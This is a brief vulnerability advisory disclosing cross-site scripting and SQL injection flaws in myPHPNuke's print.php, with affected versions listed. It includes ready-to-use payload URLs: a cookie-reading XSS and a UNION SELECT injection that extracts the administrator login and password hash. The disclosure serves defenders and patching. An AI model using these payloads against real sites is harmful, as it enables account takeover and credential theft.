Cross-Site Scripting and SQL Injection vulnerabilities in myPHPNuke

By MustLive (http://websecurity.com.ua)

Detailed information: http://websecurity.com.ua/2391/

Description: There are Cross-Site Scripting and SQL Injection vulnerabilities in print.php in myPHPNuke.

XSS:

http://site/print.php?sid=%3CBODY%20onload=alert(document.cookie)%3E

SQL Injection:

http://site/print.php?sid=-1%20union%20select%20null,null,aid,pwd,null,null%20from%20mpn_authors%20limit%200,1

With this query you will receive login and password (hash) of administrator.

Vulnerable versions are myPHPNuke < 1.8.8_8rc2. In last version the additional filters were added, so it is not vulnerable to these XSS and SQL Injection attacks. But version 1.8.8_8rc2 is still vulnerable to SQL Injection and so limited SQL Injection attack is possible (without using spaces and brackets).
